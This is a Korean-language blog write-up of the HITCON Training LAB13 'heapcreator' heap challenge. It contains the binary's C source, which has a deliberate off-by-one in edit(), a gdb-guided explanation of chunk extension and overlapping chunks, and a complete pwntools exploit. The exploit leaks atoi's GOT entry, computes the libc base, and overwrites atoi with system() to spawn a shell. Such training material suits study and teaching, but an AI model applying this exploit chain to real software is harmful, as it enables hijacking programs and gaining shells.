ghkdtlwns987
[hitcon_training] LAB13 (Extend Chunks) 본문
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void read_input(char *buf,size_t size){
int ret ;
ret = read(0,buf,size);
if(ret <=0){
puts("Error");
_exit(-1);
}
}
struct heap {
size_t size ;
char *content ;
};
struct heap *heaparray[10];
void menu(){
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
void create_heap(){
int i ;
char buf[8];
size_t size = 0;
for(i = 0 ; i < 10 ; i++){
if(!heaparray[i]){
heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
if(!heaparray[i]){
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
heaparray[i]->content = (char *)malloc(size);
if(!heaparray[i]->content){
puts("Allocate Error");
exit(2);
}
heaparray[i]->size = size ;
printf("Content of heap:");
read_input(heaparray[i]->content,size);
puts("SuccessFul");
break ;
}
}
}
void edit_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
puts("Done !");
}else{
puts("No such heap !");
}
}
void show_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
puts("Done !");
}else{
puts("No such heap !");
}
}
void delete_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]->content);
free(heaparray[idx]);
heaparray[idx] = NULL ;
puts("Done !");
}else{
puts("No such heap !");
}
}
int main(){
char buf[4];
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
while(1){
menu();
read(0,buf,4);
switch(atoi(buf)){
case 1 :
create_heap();
break ;
case 2 :
edit_heap();
break ;
case 3 :
show_heap();
break ;
case 4 :
delete_heap();
break ;
case 5 :
exit(0);
break ;
default :
puts("Invalid Choice");
break;
}
}
return 0 ;
}
코드는 create, edit, delete, show 함수가 있다. 주의해야할 점은 edit() 함수에서 size+1 값을 해 준다는 것이다.
heap 문제를 다룰 때 힙을 자유자재로 할 수 있도록 만들어진 것 같다.
먼저 Extend Chunks 를 알아보도록 하자.
how2heap 문서를 참조하겠다
how2heap 에서는 heap chunk 를 3개 할당하고, 2번째 index를free 시켰다.
그리고 또다른 동일한 chunk 크기의 data를 입력해 준다. 그럼 이 malloc 은 이전에 free 되어진 chunk를 가리키는데,
이때, unsorted bin 에서 새로 수정된 heap을 할당해 준다.
(정리) overlapping chunk 는 free() chunk를 만들고, unsorted bin에서 힙을 할당할 때 chunk size를 추가로 입력해 overflow를 유발해 exploit 하는 기법이다.
gdb로 분석하면서 설명을 해보이겠다.
먼저, 2개의 chunk를 할당한다(각각 40byte, 16byte씩)
다음과 같이 chunk size 는 0x31, 0x21 씩 할당이 됬다.
다음으로 edit() 함수를 이용해 입력했던 heap chunk 의 size를 조작해 줄 건데,
0x41로 바꾸어 줄 것이다. 그럼 heap_data(0x32) + 8(size) 가 되므로
Dummy(0x32) + 0x41 로 넣어주면 될 것이다.
정상적으로 변경되었다.(size값) chunk 의 size값은 0x41이 된다.
그리고 delete(1) 를 통해서 아까 두 번째에 할당했던 chunk 를 free() 시켜주게 되면
0x10 이었던 chunk 0x41 로 착각해 fastbin 에 들어가게 될건데,
여기서 다시 create() 함수로 48byte(0x30) 만큼을 할당받게된다면?
원래는 create() 를 할당 받을 때 0x8e42d0 에 값이 들어갔는데,
이번에는 0x8e42b0 에 값이 들어갔다.
왜 이렇게 되었냐면 난 처음에 0x28, 0x10 의 데이터를 할당했었다.
그런데, edit() 으로 index(1) chunk 의 size 를 0x41 로 변경했고,
delete(1) 로 인해 0x10 의 데이터를 free() 시켰는데, 난 아까 index(1) 의 chunk size 를 0x41 로 변경시켰기 때문에,
0x8e42d0 의 값이 먼저 free() 되어 0x41크기의 chunk 가 fastbin 에 들어가게 될 것이다.
그리고 create() 로 heap 을 할당한다면 위 사진과 같이 0x8e42d0 에서부터 0x41만큼의 값을 할당해야하기 때문에,
0x8e42b0 부터 값을 쓰게 되는 것이다.
난 libc_leak 하기 위해 context 의 주소에다가 atoi_got 를 주었고, 이를 이용해 libc_Base 를 구하고
content 포인터값에 system() 함수의 주소를 줘서 Exploit 했다.
그림으로 표현한다면 다음과 같을 것이다.
이후부터는 system() 함수의 주소를 구해 '/sh' 를 입력해 주도록 하자.(+중간에 show 로 libc_base 를 leak 하는데 애좀 먹었다)
from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
r = process('./heapcreator')
elf = ELF('./heapcreator')
libc = elf.libc
#gdb.attach(r)
def create(size,content):
log.info('create')
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
r.recvuntil('SuccessFul\n')
pause()
def edit(idx,content):
log.info('edit')
r.sendlineafter(':','2')
r.sendlineafter(':',str(idx))
r.sendlineafter(':',str(content))
r.recvuntil('Done !\n')
pause()
def show(idx):
log.info('show')
r.recvuntil('choice :')
r.send('3'+'\x00')
r.recvuntil(' :')
r.send(idx)
r.recvuntil('Content : ')
value = r.recvuntil('\n').rstrip()
r.recvuntil('!\n')
return value
pause()
def delete(idx):
log.info('delete')
r.sendlineafter(':','4')
r.sendlineafter('Index :',str(idx))
r.recvuntil('Done !\n')
pause()
def info_log():
log.info('create = main + 154')
log.info('edit = main + 166')
log.info('del = main + 190')
log.info('show = main + 178')
pause()
def main():
info_log()
create(40,'A'*8)
create(16,'B'*8)
payload = ''
payload += 'A'*40
payload += '\x41'
edit(0,payload)
delete(1)
create(48,'C'*8)
atoi_got = elf.got['atoi']
payload = ''
payload += 'D'*32
payload += '\x30' + '\x00'*7
payload += p64(atoi_got)
edit(1,payload)
atoi_got = show('1')
atoi_got = u64(atoi_got + '\x00'*(8-len(atoi_got)))
libc_base = atoi_got - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
edit(1,p64(system))
r.recvuntil('choice :')
r.sendline('sh')
r.interactive()
if __name__ == '__main__':
main()
'hitcon_training' 카테고리의 다른 글
[hitcon_training] LAB 15 (zoo) (0) | 2020.09.24 |
---|---|
[hitcon_traininig] LAB 14 (magicheap) (0) | 2020.09.21 |
[hitcon_training] lab 12 (secretgarden) (0) | 2020.09.07 |
[hitcon_training] LAB11 (bamboobox) (0) | 2020.09.06 |